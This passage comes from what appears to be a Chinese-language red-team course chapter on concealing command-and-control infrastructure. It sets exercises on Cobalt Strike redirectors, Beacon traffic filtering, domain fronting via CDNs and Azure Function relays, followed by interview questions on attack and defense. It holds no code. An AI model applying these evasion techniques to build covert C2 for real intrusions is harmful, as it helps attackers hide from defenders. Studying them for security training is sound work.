4:查看工具 c2modrewrite (https://github.com/threatexpress/cs2modrewrite) 工具,自动化繁琐的转发器搭建过程。
5:使用 Sourcepoint 工具生成一个自定义的 C2 侧写。
拓展
1:如果有条件,为自己的基础设施注册一个域名,以及申请证书。
2:我们讲了通过 User Agent 过滤非 Beacon 的流量,请尝试用 URL、Cookie 等属性设置过滤。
3:如果有 2 台或更多 VPS,使用 Nginx 配置一个安全的 C2 基础设施,即 1 C2 服务器 + 1 (或更多) 转发器
4:Edgio 平台(https://edgio.app/) 也可用于配置 CDN 侧写,并且我们发现的那些域名依旧可以作为前置域,有条件的话请尝试探索
5:尝试使用 .NET 或其他语言实现 Azure 函数应用转发器
6:分析【Azure 函数应用转发器】小节中,外部 IP 显示为 127.0.0.1 的原因,并且给出解决方案
7:请丰富我们下载到的 Python 语言的 Azure 函数应用的代码,使其具有请求过滤的功能,例如基于 UA 的过滤。
面试专题
1. 笼统地概括一下怎么可以隐藏 C2 的流量?
2. 以 Cobalt Strike Http 监听器为例,Beacon 与团队服务器是怎么通信的?
3. Sliver C2 是如今很热门的开源 C2,请比较一下它与 Cobalt Strike
4. 使用域前置技术可以实现对 C2 服务器的隐藏,讲讲域前置的原理
5. 从供应平台的角度,怎么去反制域前置呢?
6. 除了域前置外,还有哪些更加先进与高级版的类似技术,技术原理是怎么样的?
7. 各大云平台都有着云函数这样的服务,它是怎么可以帮助我们隐藏 C2 服务器的?
8. 作为蓝队,怎么样可以反制使用云函数服务转发 C2 流量的战术?
9. 配置 Cobalt Strike 服务器的时候,有哪些默认设置我们需要去修改?
10. 从威胁猎人的角度来看,有哪些途径可以找出攻击者的 C2 服务器?